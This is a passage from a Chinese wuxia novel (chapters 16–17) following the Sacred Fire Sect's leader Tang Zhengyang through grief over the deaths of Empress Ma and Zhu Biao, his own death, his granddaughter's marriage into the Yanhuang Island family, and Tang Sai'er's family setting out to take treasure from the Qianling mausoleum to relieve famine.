十几日后,南宫婉儿和两个叔叔,回到泉州码头后,骑上快马,一路上,日夜兼程,回到了青城山南宫世家,南宫婉儿见到父母后,一言不发,回到房中,把房门反锁,南宫信夫妻,不知发生了什么事,忙问两个弟弟,南宫勇和南宫义将南宫婉儿的遭遇如实禀告给南宫信夫妻。南宫信夫妻急忙到女儿房间门外,只见房门反锁,于是大声呼喊南宫婉儿,让她开门,南宫婉儿在房间中,却是默不作声,夫妻二人,虽然心急如焚,但也无可奈何,只好守在门外,柔声细语劝南宫婉儿开门,南宫婉儿早已心如死灰,一个人在房间里,不吃不喝。足足待了三天三夜,才打开房门,南宫信夫妻,连忙进屋察看,只见女儿,面无血色,形容憔悴,南宫信夫妻,心痛不已,连忙劝说女儿道:“天涯何处无芳草,一切都要看开,既然没有缘份就不要强求。”南宫婉儿噗通跪倒,道:“爹,娘,我想去峨眉山出家。”南宫信夫妻闻言大惊失色,连声劝说:“婉儿,千万不要任性,普天之下,英俊潇洒的青年才俊多得是,以你的才貌武功家室,何愁找不到出类拔萃的好男儿,爹娘自会为你做主,为你找一个称心如意的好郎君。”南宫婉儿跪地不起,道:“爹,娘,苍天无眼,世事无常,竟然让我遇到叶天羽这样薄情寡义之人,我为他,不顾颜面三顾炎黄岛,受尽天下人耻笑,如今又有何面目再找夫君,我已决意出家,若是爹娘不肯,我只有一死了之。”南宫信夫妻闻言,顿时六神无主心乱如麻,知道女儿自幼性子倔强,又心高气傲,如今受此重创,难免是心灰意冷,但是见女儿心意已决,也不敢再出言阻拦,只好让南宫婉儿好好休息几天,父母再陪她去峨眉山,几日后,南宫婉儿在父母的陪同下,来到峨眉山峨眉派,跪请师傅慧明师太为她剃度出家,慧明师太也苦口婆心劝了几日,但是也无济于事,慧明师太见爱徒心意已决,也无可奈何,只得为南宫婉儿安排剃度,并赐法名静心,从此以后,静心便在峨眉山潜心佛法,苦练武艺。 再说太白山圣火崖,圣火教中,侯成庆莫名其妙生了重病,唐正阳请遍名医,用了各种珍贵药材,但侯成庆身体却一天比一天虚弱,临终之前,侯成庆对唐正阳道:“师兄,当年在黑风谷,我用计谋烧死了一千多响马,有违天道人和,今日重病,也是因果报应遭受天谴,师兄不必伤心,只是当年祁连五鹰中,老大张道仓,老二张道友逃脱,至今寻找不到踪迹,听说当年黑风谷被烧死的马贼,大部分都是祁连山张氏一族子弟,他们的很多后人被人秘密接走,我担心是祁连五鹰中的老大,老二所为,他们定然躲在我们找不到的地方,休养生息,师兄你要多加防备,万万不能掉以轻心,防止他们卷土重来,找我们报仇。”唐正阳含着眼泪,连连点头,几日后,侯成庆亡故,唐正阳办完侯成庆的丧事后,脑海里,也经常浮现出侯成庆临终所说,但是唐正阳自知火烧黑风谷之事做的过于阴狠毒辣,心中有愧,不愿意再派人追查祁连五鹰中的老大老二下落,也不愿再去追查被烧死的黑风谷马贼后人踪迹,不愿意做斩草除根赶尽杀绝之事,但是心中也起了警醒防范之心。 16. 第 16 章 第十六章:志远成亲 转眼之间,几年过去,这年腊月,唐正阳正在教中处理教务,忽然有人来报:“启禀教主,门外来了四个人,自称是教主故人之子所派,特来拜见教主。”唐正阳也不知道是哪位故人之子,便让教众将四人引至客厅相见,唐正阳带着几名随从,来到客厅,只见前来拜访的四名男子,都是三十多岁年纪,眼中精光四射,一看就是内外兼修的武林高手,四人见到唐正阳后,一起拜倒,道:“南海炎黄岛属下,孙绿春,宋蓝夏,林金秋,段雪冬,受我们少主张敬贤所派,特来拜见唐教主,并送上明珠百颗,请教主笑纳。”说罢,恭恭敬敬的从怀中掏出了一个布袋,唐正阳身边随从上前接过,呈给唐正阳,唐正阳打开袋子一看,只见布袋中,晶莹剔透,珠光宝润,都是些上好的南海明珠,唐正阳道:“几位朋友,有道是无功不受禄,你所说的张敬贤我并不相识,你们是否送错人了?”为首的孙绿春道:“唐教主,我们炎黄岛少主张敬贤,乃是当年吴王张士诚之孙,世子张仁凤之子,如今我们少主已在岛中主事,感念唐教主当年义释之恩,所以命我们送来这些南海明珠,以报当年之恩。”唐正阳思索片刻,这才明白,道:“哦,我听说当年灵隐三杰去了南海,征服三怪岛,并改名为炎黄岛,已在炎黄岛定居,没想到,才转眼功夫,故人之子已经长大,说什么义释之恩,令我汗颜啊。”孙绿春道:“当年唐教主因军令在身,不得已留下世子张仁凤一人,释放了几百名西湖会的兄弟,和近千名义善堂的孤儿,在世子自刎后,不但予以厚葬,还为世子做了七天法事,并不惜违抗军令,也不愿意世子尸首受辱,不但武功被朱元璋命人废掉,还险些被朱元璋所杀,此恩此德,我们少主时刻铭记在心,我们少主本想亲自前来拜见唐教主,但因张氏一族还是明朝钦犯,所以不便前来,这些身外之物,请唐教主笑纳。”唐正阳虽然不在乎这些南洋珍珠,但既然张敬贤派人千里送来,也不好回绝,于是命人设宴招待孙绿春等四人,待到孙绿春等人数日后向他辞行,唐正阳知道南海诸岛上湿气严重,于是命人将教中一些珍贵药材作为回礼,交由孙绿春等人带回,此后每年的腊月,张敬贤都会派人送来一些珍珠,而唐正阳也早早命人准备一些珍贵的药材,作为回礼。” 转眼间,到了公元1382年八月,唐正阳和夫人徐氏正在教中与儿子儿媳和两个孙女在家中团聚,唐正阳的儿子唐梦泽娶妻韩氏,已经有了两个女儿,大女儿唐玉儿已经五岁,小女儿唐赛儿刚满两岁,一家人其乐融融,正在偏厅吃饭,正在此时,一名教众急匆匆进来,道:“启禀教主,京城派人来了,说有要事求见。”唐正阳心中奇怪,往年马娘娘的赏赐,都要到腊月时分,今年怎么八月就派人来了?”难道有什么变故?”唐正阳顾不上吃饭,带着儿子唐梦泽连忙到前厅相见,到了前厅,只见前厅里站着四个人,为首一人,正是表弟朱标府上侍卫长石忠,石忠见到唐正阳连忙上前施礼道:“末将石忠拜见唐教主。”唐正阳拱手回礼道:“石将军今日前来,有何要事?”石忠略显犹豫道:“唐教主,太子爷命我来告诉你一件事,请您不要激动。”唐正阳心中不免有些奇怪,道:“石将军请说。”石忠稳了稳心神,道:“皇后娘娘驾崩了。”此言一出,唐正阳顿时大吃一惊,简直不敢相信自己的耳朵,连声问道:“你说什么?你说什么?”石忠叹口气,道:“唐教主,皇后娘娘驾崩了。”唐正阳呆立当场,只觉得晴天霹雳,胸口如同被巨石重击一般,只感觉到喉咙发痒,一口鲜血吐出,唐梦泽在旁连忙上前搀扶,口中道:“爹,你怎么了?你怎么了?”石忠也连忙上前搀扶,道:“唐教主,你千万不要激动,太子爷来之前,千叮咛万嘱咐,让你千万不要过度悲伤。”唐正阳喘了几口气,镇定一下心神,吩咐道:“泽儿,快去准备马匹,我即刻进京去拜祭你姨奶奶。”唐梦泽道:“爹,你刚刚吐血,赶快找个大夫医治一下,我们再走不迟。”唐正阳厉声道:“不要啰嗦,快去备马。”石忠等人也上前劝阻,劝唐正阳休息两日再走,唐正阳道:“石将军,姨母病故,我现在心急如焚,你们不必劝我,我们即刻上路。”这时夫人徐氏也来到前厅,苦苦相劝,但唐正阳就是不听,众人无奈,只好备下马匹,准备行囊,唐正阳带着儿子和几名随从,与石忠四人,骑上马匹,风驰电掣直奔应天府。”唐正阳一行人,日夜兼程,平日里半个月的路程,他们只用了十天左右,便到了应天府,到了应天府后,石忠领着众人先到了太子府,太子朱标接报,连忙出门迎接,唐正阳和朱标两人相见,恍如隔世,表兄弟二人抱头痛哭,石忠连忙上前劝阻道:“太子爷,唐教主听闻皇后娘娘驾崩,吐了一大口血,我们劝他找大夫治疗后再来应天府,但唐教主不肯,反而日夜兼程,在十日内就赶到这里,您和唐教主不要过度悲伤,以免伤了身体。”朱标听到唐正阳吐血,也是大惊,这才注意到,表哥满脸憔悴,脸色苍白如纸,连忙招呼唐正阳等人府中落座,唐正阳道:“表弟,现在不进你府中了,我要先去拜祭姨母。”朱标苦苦相劝,劝唐正阳休息一天再去拜祭不迟,唐正阳哪里肯听,执意要即刻去拜祭姨妈,朱标无奈,只好领着唐正阳去了皇宫,朱元璋得报后,宣两人进宫,唐正阳进了灵堂,只见姨母灵位摆在棺木之前,四周哭声一片,姨父朱元璋也坐在棺材旁,神情悲伤,唐正阳顾不上拜见姨父朱元璋,快步上前,跪倒在姨母灵位前,放声痛哭,直哭的撕心裂肺,肝肠寸断,天崩地裂,日月变色,这一哭,可就坏事了,唐正阳只觉得又是喉咙一阵发痒,顿时又吐出两口鲜血,昏倒在地,朱元璋和朱标见状,连忙让人将唐正阳搀扶到偏殿,又急传御医前来诊治,御医为唐正阳号脉诊断后,对朱元璋和朱标道:“皇上,太子爷,唐教主本来身体康健,但听闻皇后娘娘驾崩,急悲攻心造成吐血,吐血之后又未休息治疗,日夜兼程赶来应天,到了娘娘灵位前,又悲伤过度,所以才又引发吐血。”朱标急忙问道:“我表哥身体可有大碍?”御医道:“太子爷,唐教主此后需静心修养,不能再大喜大悲大怒,如若再大喜大悲大怒,恐有性命之忧。”朱标命御医赶紧去抓药熬制,此时唐正阳,缓缓醒来,看见朱元璋和朱标就坐在身旁守候,连忙起身拜倒,对朱元璋道:“草民唐正阳拜见皇上,草民情急之下,未拜见皇上,请皇上恕罪。”朱元璋站起身,拉着唐正阳起来,对唐正阳道:“正阳啊,你姨母去世之前,还在牵挂着你,嘱咐我以后要善待于你,十几年未见,恍如隔世,你姨母亡故之事,你也不必过于悲伤,以免伤了身体。”唐正阳含着眼泪,点头称是。自此,唐正阳便在应天府,参加马娘娘后事,待马娘娘丧事做完,唐正阳到宫中向朱元璋,朱标父子辞行,此时的朱元璋,如同一位善良亲和长辈,赐了唐正阳很多金银财物,又嘱托唐正阳回去之后,要安心静养,唐正阳叩谢皇恩后,带着儿子唐梦泽和几名随从,踏上返程,朱标亲自带人送唐正阳等人到了城外五十里,才洒泪而别。”唐正阳回到圣火崖之后,自知身体有恙,将教中事务,交由儿子唐梦泽打理,就这样又过了八九年,这八九年,张敬贤每年都让孙绿春等人送南海珍珠到圣火崖,唐梦泽按父亲的吩咐,早早命人准备一些珍贵的药材,作为回礼。 公元1392年五月,唐正阳和夫人徐氏正带着大孙女唐玉儿,二孙女唐赛儿,小孙子唐旭儿在后花园赏花,只见儿子唐梦泽急匆匆领着石忠进了后花园,唐正阳一眼看见,不由得心中一沉,心想:“自姨母去世以后,表弟朱标每到腊月都会派石忠前来赏赐大量财物,今年为何石忠五月就前来,难道姨父朱元璋有了什么变故?”想到这,急忙迎上前,道:“石将军,别来无恙?”石忠脸色凝重,拱手回礼道:“唐教主,末将前来,是有一件大事发生,请您务必静心静气,末将才敢回禀。”唐正阳心想:“姨父朱元璋年事已高,难道是姨父亡故了?”想到这,唐正阳平复一下心情,道:“石将军,我现在静心静气,你有何事请说。”石忠神情严肃,又郑重其事对唐正阳道:“唐教主,这件大事,非同寻常,您可千万不要再激动,以免再伤身体。”唐正阳稳了稳气息,又定了定心神,道:“石将军请说。”石忠又犹豫片刻,缓缓道:“太子爷薨了。”此言一出,唐正阳顿觉晴天霹雳一般,只觉得天旋地转,他原以为是姨父朱元璋年事已高驾崩,却万万没想到竟然是表弟朱标薨了,瞬间眼前一黑,昏倒在地,夫人徐氏和儿子唐梦泽急忙大声呼喊,又是捶背,又是掐人中,折腾了半天,唐正阳睁开双眼,看了看夫人和儿子,以及石忠,只觉得胸口剧痛,如同被巨雷击中一般,哇,哇,哇,吐了七八口鲜血,众人大惊失色,连忙传大夫前来医治,唐正阳吐了几口血之后,又昏死过去,等到大夫前来,用针灸扎了半天,唐正阳才缓缓醒来,对儿子唐梦泽道:“泽儿,你速去备马,我要去应天府去拜祭你表叔。”夫人徐氏和儿子唐梦泽含泪拼命劝阻,但唐正阳心意已决,执意要即刻起身,众人实在拦不下来,无奈,只好备马,唐梦泽搀扶父亲踉踉跄跄走到马前,唐正阳咬咬牙,翻身上马,正想驱马前行,只觉得眼前一黑,从马上跌落,夫人徐氏和儿子儿媳孙女哭声一片,好不容易将唐正阳再次救醒,虽然众人苦苦相劝,让唐正阳先休养身体要紧,但是唐正阳只是连连摇头,又命令儿子唐梦泽去备马车,自己要坐马车前去应天府,拜祭表弟朱标,众人苦劝无果,无奈只好备了马车,唐梦泽带了几个随从,和石忠等人,驾驶马车,前往应天府,在路上,虽然日夜兼程,但马车速度毕竟较慢,又怕太过颠簸,唐正阳旧疾复发,所以走了二十多日,才到达应天府,到了应天府之后,石忠领着众人去了皇宫,侍卫向朱元璋禀报,朱元璋宣众人觐见,侍卫小心翼翼回禀道:“皇上,听石将军说,唐正阳闻听太子爷薨了,吐了很多血,现在若是让他觐见,恐怕唐正阳已经不能行走。”朱元璋经历了爱妻爱子过世,心中已然悲痛欲绝,对马皇后娘家唯一血亲,也是产生眷顾之心,于是下令侍卫道:“若唐正阳不能行走,就将他抬进殿来,与朕相见。”众侍卫连忙做了个担架,将唐正阳从马车上,小心翼翼的抬上担架,唐梦泽和石忠在两侧护卫,进了皇宫大殿,朱元璋亲自走下龙椅,看望唐正阳,只见唐正阳两眼紧闭,面色煞白,已经奄奄一息,朱元璋见状,不禁心中难过,急命御医前来诊治,御医急匆匆赶到,小心翼翼用心诊治后,向朱元璋回禀道:“回禀皇上,唐正阳十年前就有吐血旧疾,如今听闻太子爷薨了,过于悲伤,气血攻心,恐怕命不久矣。”朱元璋看着奄奄一息的唐正阳,悲从心起,对御医道:“御药房是不是还剩一支千年人参?”御医回道:“皇上,前些年御药房珍藏了两支千年的东北人参,皇后娘娘用了一支,如今还剩一支。”朱元璋道:“去御药房将那支千年人参熬制汤药,喂唐正阳服用。”御医急忙道:“皇上,这千年人参乃是稀世之宝,是备着皇上不时之需,如今若是让唐正阳用了,万一皇上以后需要用,那可就没了。”朱元璋怒道:“不必多言,速去将那千年人参熬成药汁,先救唐正阳要紧。”御医不敢违命,急忙去了御药房,取了千年人参,小心的熬成汤药,此时的唐正阳已经奄奄一息,已经无力张口服药,御医命人将唐正阳的嘴用银勺撬开,然后慢慢的将千年人参药汁灌了进去,几个时辰后,唐正阳缓缓醒来,只见朱元璋坐在病榻前,御医,石忠和儿子唐梦泽和几个侍卫,侍立两旁,唐正阳挣扎着想起身跪拜,却无力起身,朱元璋一挥手,两名侍卫连忙上前,搀扶唐正阳,唐正阳此时面色灰白,喘息着对朱元璋道:“皇上,请恕草民不能叩拜之罪。”朱元璋满面悲伤,伸手拍了拍唐正阳的肩膀道:“正阳啊,你安心调养身体,姨父知道你的身体状况,也深知你的悲痛,但逝者已去,你也不要过于悲伤。”朱元璋口中虽然在劝慰唐正阳,但自己却已经声音哽咽,老泪纵横,唐正阳坐在病榻上,和朱元璋你看看我,我看看你,两人都是泪流满面,悲痛欲绝。第二天,唐正阳自服用千年人参之后,身体略有好转,强撑着病体,拜祭了朱标,等朱标丧事全部办完后,唐正阳由儿子唐梦泽搀扶着来到朱元璋面前,跪拜行礼后,向朱元璋辞行,朱元璋已从御医口中得知,唐正阳命不久矣,于是柔声劝唐正阳留在应天,让御医为他诊治调养,唐正阳道:“皇上,树高千尺落叶归根,草民还是想回西北圣火崖家中,请皇上成全。”朱元璋强忍心中悲痛,点点头,同意了唐正阳的请求,并亲手写下忠义仁孝四字,赐给唐正阳,唐正阳叩谢皇恩后,出宫踏上返程,唐梦泽一路上,小心翼翼护送父亲唐正阳回到圣火崖,唐正阳回到家中,卧床不起,虽然得千年人参续命,但也只是勉强活命,转眼之间,又到了腊月,有教众前来禀报唐梦泽,道:“少教主,炎黄岛的孙绿春等人又来教中,并奉上明珠,要拜见教主。”唐梦泽来到前厅,与孙绿春四人相见,双方落座后,奉上茶水,孙绿春见唐正阳没有露面,就问道:“唐少教主,唐教主在不在教中?”唐梦泽长叹一声,将唐正阳病重之事,如实说出,孙绿春道:“唐少教主,可否容我等去探视一下唐教主?”唐梦泽点点头,领着孙绿春四人来到唐正阳的病榻前,唐正阳强撑病体,与孙绿春等人打着招呼,孙绿春等人眼中含泪跪倒在地,道:“唐教主,想不到才一年未见,您老就身染重病,我有一事,请唐教主准允。”唐正阳点点头道:“孙小友请讲。”孙绿春道:“我家主公张敬贤和我们少公子张志远,自幼便随我们大祖师爷王定国学习医术,一手针灸出神入化,青出于蓝而胜于蓝,我们现在想即刻赶回南海,请我们主公和少公子前来为您治病,恳请唐教主准允。”唐正阳摇摇头道:“我已是风中残烛,怎敢劳你们主公和少公子千里迢迢来为我救治,这样太麻烦你们主公了。”孙绿春连连叩首道:“我们主公早就想来拜见唐教主,只因身为钦犯,怕给唐教主带来不必要的麻烦,所以才不便前来,如今唐教主病重,而我家主公和少公子又精通医术,自当为唐教主效力救治。”唐正阳想了想,点点头道:“我也想见见这位故人之子,十几年来,每逢腊月便送来南海珍珠,我也是受之有愧,若是在我死之前,能与故人之子相见,也是人生一大幸事。”孙绿春等人退出病房后,立刻驱马往泉州码头而去,到了泉州码头,弃马登船赶回炎黄岛,到了炎黄岛后,立刻将此事报告给张敬贤,此时的炎黄岛王定国和李安邦年岁已高,岛中事务,大多交给张敬贤打理,此时张敬贤已经三十多岁,已经娶妻生子,儿子张志远也已经十六七岁,张敬贤听闻此事后,大惊失色,连忙将此事禀报给两位师伯和四师叔,然后便领着儿子张志远和孙绿春四人,骑上六头巨鹰,从炎黄岛飞向圣火崖,几日后,已到圣火教前寨门前,孙绿春让人速去通报,功夫不大,唐梦泽领着几个随从急匆匆出来迎接,孙绿春为他们引荐后,张敬贤道:“唐少教主,我们客气话就不说了,请速带我去见唐伯父。”唐梦泽 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命人款待孙绿春四人,领着张敬贤父子急匆匆赶往父亲病房,到了病房后,唐正阳的夫人徐氏,正在身旁陪护,大孙女唐玉儿也已十四五岁了,二岁女唐赛儿也十一二岁,三孙子唐旭儿刚刚五六岁,张敬贤领着儿子张志远跪拜行礼,道:“在下张敬贤带犬子张志远拜见恩公。”唐正阳连忙示意儿子唐梦泽扶张敬贤父子二人起身,唐正阳仔细打量张敬贤父子,只见这父子二人,都相貌堂堂,气宇非凡,唐正阳欣慰道:“今日能见到故人之子,真乃人生一大幸事。”张敬贤道:“恩公,请让我为您诊治。”唐正阳伸出手,张敬贤开始为他号脉,号脉许久,张敬贤脸色凝重道:“恩公,您在十几年前,就曾有过吐血,最近一年内又大悲伤身,幸得您服用了千年人参,方才续命到今日,我今日为您诊治,但是想完全康复恐怕难以做到。”唐正阳笑笑道:“生死有命富贵在天,我已五十多岁,也不屈寿了,你们父子千里而来,为我诊治,此情此意,唐某铭记在心。”张敬贤从行囊中取出银针,为唐正阳开始针灸,此后的半个多月,每日都由张敬贤父子为唐正阳实施针灸并熬制汤药,半个多月后,唐正阳病情有了很大起色,张敬贤来向他辞行,道:“恩公,我离岛日久,有些事务需要回去处理,我留犬子志远在您身边,为您医治,犬子虽然才十六七岁,但医术已尽得我大师伯真传。”唐正阳道:“如此麻烦贵父子,实在有愧,你岛上有事,尽可放心回去处理,有志远为我治疗,已经足够。”于是张敬贤带着孙绿春宋蓝夏回归炎黄岛,留下林金秋段雪冬两人在此陪护张志远,此后的两年,张志远尽心尽力为唐正阳施展针灸医治,唐正阳在闲暇时候,也指导张志远和孙女唐玉儿,唐赛儿和孙子唐旭儿习文练武,张敬贤在这期间,也多次前来探望,此时的张志远已有十八九岁,温文尔雅,玉树临风,而唐玉儿也是亭亭玉立,花容月貌,两个年轻人,日久相处,两情相悦,唐正阳看在眼里,喜在心中。这日唐正阳早上起床,正想到花园去散步,忽然感觉一阵晕眩,差点摔倒,身旁的仆人赶紧去请唐梦泽一家和张志远前来,张志远急忙又为唐正阳开始针灸,唐正阳清醒之后,对唐梦泽道:“梦泽,为父一生行侠仗义光明磊落,自命忠义仁孝,但是唯有一事,为父一直良心难安,抱愧终身,视为一生之耻,当年我因为自己武功被废,不能亲自率领教众去剿灭黑风谷响马,那黑风谷位于一个两山夹峙的山坳之中,两侧山脉蜿蜒曲折,地形雄奇险峻,前有深涧,后有峡谷,地势极其险要,易守难攻,古人有曰:“苍鹰欲飞尚难过,猿猴思攀亦发愁”,有道是:杀敌一千自损八百,黑风谷的一千多名响马不但凶猛剽悍,而且占据天时地利,若是强攻,恐怕护教五行卫要死伤惨重伤亡大半,我实在不忍心让护教五行卫去和响马硬拼,为形势所迫,不得已同意师弟侯成庆用圣火教秘传的迷神散,迷翻了一众响马,这迷神散虽然无毒,用银针也无法测试出来,但人服用之后,十二个时辰都会陷入昏睡之中,师弟命人火烧了黑风谷,导致一千多名响马葬身火海,此等行事过于阴狠毒辣,有违天道人和,后来师弟无缘无故得了重病,年纪轻轻就驾鹤西去,可能也是因果报应遭受天谴,当年黑风谷响马首领,祁连五鹰中的老大张道仓,老二张道友逃脱,至今寻找不到踪迹,听说当年黑风谷被烧死的马贼,大部分都是祁连山张氏一族子弟,他们的很多后人被人秘密接走,我担心是祁连五鹰中的老大,老二所为,他们定然躲在我们找不到的隐秘之处,休养生息,梦泽,你日后要多加防备,防止他们卷土重来,找我们报仇。”唐梦泽眼中含泪,连连点头道:“爹爹,孩儿知道了。”唐正阳长叹一声道:“梦泽,火烧黑风谷一事,确实是我们圣火教做的太过,也是为父今生今世唯一心怀愧疚遗憾终身,并视为一生之耻的错事,以后你若是有机会,能够尽量化解这段仇怨,那是最好,若是我泉下有知,也会倍感欣慰。”唐梦泽连连点头答应,但是父子二人心中都不免有一些惴惴不安,知道如此不共戴天的深仇大恨,想要化解,只怕是镜中花水中月,难如登天。唐正阳接着道:“梦泽,常言说得好:害人之心不可有,防人之心不可无,若是和张氏一族仇恨难以化解,那我们自然也不能坐以待毙,就只好兵来将挡水来土掩,做好防范应对之策,为此我在教中遴选了八个武艺高强,忠心耿耿的高手,待你成为教主后,便册封他们为圣火教八大法王,这八大法王人选,我已经写好纸条放在锦囊之中,分别是:神翼王萧桐,飞燕王苗雨燕,巨虎王韩天强,白狼王唐劲松,大力王陆廷刚,智慧王赵宝泉,清净王方明海,仁爱王杜青木,他们八人不但武艺超群各怀绝技,而且对本教披肝沥胆忠心耿耿,尤其是飞燕王苗雨燕,身怀雨燕穿云绝技,是武林江湖中人公认的轻功天下第一,你以后要集思广益知人善任,和八大法王齐心协力,力保圣火教圣火连绵繁荣昌盛。”唐梦泽眼中含泪,连连点头道:“爹爹,孩儿知道了。”唐正阳交代儿子完毕后,心中暗想:“我圣火教高手如云,在西北诸省,一家独大,现在有八王辅佐梦泽,还有一千多名护教五行卫坐镇圣火崖总舵,纵然日后张氏兄弟来寻仇,也不足为惧。”没想到,正是这种想法,造成了日后圣火教灭顶之灾。 唐正阳扭头对张志远道:“好孩子,唐爷爷大限将至,这两年辛苦你了。”张志远道:“唐爷爷,你是我张家的大恩人,我能为你尽些绵薄之力,也是份内之事。”唐正阳含笑点点头,对张志远道:“孩子,爷爷大限将至,你可有什么心愿要对爷爷说?”张志远心中也已经明白,唐正阳这两年虽然得自己针灸医治,但也到了油尽灯枯之际,纵然自己用心医治,恐怕也是回天乏术,想到这,张志远噗通跪倒,对唐正阳道:“唐爷爷,我与玉儿妹妹情投意合两情相悦,恳请唐爷爷成全。”唐玉儿在一旁听见,顿时羞的面红耳赤,手足无措,低着头一言不发,唐正阳看了看孙女,不由得微微一笑,点点头道:“孩子,婚姻大事,非同儿戏,你速派人回炎黄岛,请你父母来我圣火崖一次,商量你和玉儿婚事。”张志远心中大喜,连忙告退,找来林金秋段雪冬二人,命他急速返回炎黄岛,让父母来圣火崖提亲。林金秋段雪冬领命后,马不停蹄赶往泉州。到了泉州弃马登船,返回炎黄岛。张敬贤在炎黄岛得到林金秋段雪冬二人禀报后,自然是欣喜万分,立刻与夫人吴氏带领几名随从,从炎黄岛骑上巨鹰,日夜兼程飞到圣火崖,几日后,到达圣火崖,与唐正阳等人相见,张敬贤夫妻恭恭敬敬对唐正阳施礼,开口为儿子求亲,唐正阳道:“世侄,这两年为了我的身体,辛苦志远这孩子了,你又经常过来探望,此等情谊,千金难买,我大限将至,想在我去世之前,就把这两个孩子的婚事办了,你们意下如何?”张敬贤和夫人吴氏,连连施礼感谢,并奉上南海上好珍珠三百三十三粒,银票三十三万三千两作为聘礼,寓意生生不息。唐正阳父子虽然不在乎聘礼多少,但是见张敬贤夫妻情真意切礼数周全,又为孙女准备了如此厚重聘礼,自然是给足了女方面子,也不禁感觉面上有光。两家人见唐正阳已经病入膏肓,便想遂了他的心愿,也给唐正阳冲一冲喜,于是选定吉日,便在圣火崖操办张志远和唐玉儿的婚事,婚礼第二天,唐正阳便含笑离世,张敬贤父子等唐正阳葬礼结束后,便带着唐玉儿返回炎黄岛,此后两三年,唐玉儿生了两个儿子,一个取名张皓光,一个取名张晓光,虽然路途遥远,每年春节也不辞辛苦从炎黄岛回圣火崖与家人团聚。 17. 第 17 章 第十七章:赛儿造反 此时,唐梦泽的二女儿唐赛儿已经长大成人,亭亭玉立秀美端庄,许配给山东青州林家,公元1419年,唐赛儿嫁到林家,上尊父母,下爱小姑,与丈夫林山更是相敬如宾举案齐眉,林家在山东青州也是大族,族中人丁兴旺,林山的父亲林启元便是林氏一族的族长,唐赛儿嫁过去的第二年,山东发生大旱,百里农田绝收,大量饥民饿死在路边,唐赛儿的公公林启元眼见灾民饿殍遍野,而州府官员却只顾搜刮民脂民膏,根本不想着如何拯救百姓,于是便变卖家产,四处酬粮救济灾民,但可惜杯水车薪,林启元心急如焚,这日,林启元将林山唐赛儿夫妇叫入内室,在内室中对着一个祖先牌位焚香祭拜,唐赛儿虽然心中奇怪,但也依着公公所言和丈夫一起祭拜先祖,林启元等祭拜结束后,郑重其事的对林山和唐赛儿道:“今日为父要告诉你们一个大秘密,你们需守口如瓶,不得泄露。”林山和唐赛儿见父亲如此慎重,也起誓守口如瓶,林启元道:“我林氏一族,原本先祖姓李,乃是唐朝风水大师李淳风,当年为高宗李治和女皇武则天修建乾陵时,自知乾陵一旦修成,武则天定然要将他和修墓工人一起陪葬,以防泄露天机,我先祖李淳风让人带回了一把古筝,只说是家传之物,让孩子们留个记念,乾陵的监管官员,与我先祖向来交好,见这古筝,认真检查后,并无异常,便同意将古筝送给长子李永海以作留念,后来,乾陵建成,我先祖李淳风果然接旨与修建陵墓的工人一起陪葬,长子李永海收到古筝后,用心研究,才发现,若是弹奏李家特有的家传曲目,古筝便可打开内藏机关,里面有一份乾陵的藏宝图,李永海得知此秘密后,隐姓埋名,来到山东地界,并随母姓改为姓林,临终之前告诉后人,若逢乱世,出明主,可将这藏宝图献上,救天下苍生于水火,后世子孙千万不可贪恋财宝,入墓盗取财物自用,如今传到我这一代,已经传了三十多代,我们代代相传,却从不敢入乾陵取宝,如今遇到百年一见的旱灾,黎民百姓饿死无数,我林氏族人,也有很多人饿死,为父今天祭拜先祖后,准备让你二人去乾陵取宝,取得一两样珍宝后,卖与古董商人,那乾陵珍宝,世间罕见,每一件约可卖纹银几十万两,有了这几十万两纹银,我们便可救成千上万的黎民百姓。”林山和唐赛儿听了,是又惊又喜,林山道:“父亲,取乾陵宝物,会不会带来什么噩运?”林启元道:“先祖曾多次告诫后人,不到万不得已时,不得到乾陵取宝,但是现在,我林氏族人,已饿死近百人,也顾不了那么多了,赛儿自幼习武,武艺高超,有她陪你去,我也放心不少,因为乾陵陪葬财宝过于庞大,我也不敢其他人知道,你们夫妻二人前去即可。”唐赛儿道:“父亲,藏宝图现在何处?”林启元道:“山儿,你可记得,我从小便教你和小妹弹的曲子?”林山道:“我们家传清风曲,我和小妹自幼便可熟练弹奏。”林启元点点头,道:“好,你们随我来。”然后在内室处,启动一道机关,只见内室墙壁上出现一道暗门,林启元让唐赛儿在外守护,带着儿子林山从密室中取出一把古色古香的古筝,将古筝放置案几上,又焚香叩拜先祖,然后,由林山开始弹奏家传的清风曲,林山凝神静气,将曲目缓缓弹来,待到曲目弹完后,只见古筝侧边悄然打开一个盒子,盒子里放着一张丝帛,林启元将丝帛取出,三人打得一看,却见丝帛上密密麻麻的做着很多标记,三人在家足足研究了三天,才将大致方位,墓室机关搞清楚。林启元道:“你们带着藏宝图,前去乾陵,一路上千万要小心谨慎。”林山和唐赛儿藏好藏宝图,收拾行囊,骑上两匹快马,日夜兼程,赶往乾陵,十几日后,到了咸阳地界的梁山,乾陵就位于咸阳北部梁山之上,乃唐高宗李治和女皇武则天的合葬陵墓,也是中国历史上唯一一座两位帝王合葬陵墓,当年唐代风水大师袁天罡和李淳风受唐高宗李治和皇后武则天指令,二人寻遍秦川大地,终于在咸阳北部梁山,共同寻得一块凤凰展翅的风水宝地,在唐高宗驾崩的前一年,武则天命人修建陵墓,当时的唐朝,正处于鼎盛时期,是天下最强盛富足的国家,所以大兴土木,建造了当时天下最豪华最奢侈的帝王陵墓,陵墓仿照当时长安城的格局而建,分为四大城门和八小内门,城内分为八大区和四内城,四大城门按四象之术,分别是东面青龙门,西面白虎门,南面朱雀门,北面玄武门,八小内门按八卦方位,分别是乾门,坤门,坎门,离门,震门,巽门,艮门,兑门,四大城门和八小内门之间,是乾陵八区,分别是文官之区,武将之区,禁军之区,守卫之区,百姓之区,商贾之区,桑麻之区,牛羊之区,这八区环绕乾陵核心区域,拱卫内城,在八小内门之内,是乾陵最核心区域,分为四个内城,分为祭天之城,拜圣之城,皇家之城,宫殿之城,乾陵历经二十多年,才修建完毕,唐高宗李治下葬时,陪葬了当时天下三份之一的奇珍异宝,后来女皇武则天下葬时,又陪葬了当时天下三份之一的奇珍异宝,所以乾陵宝藏之多,世所罕见,因此民间流传一句话:“得乾陵者富甲天下。” 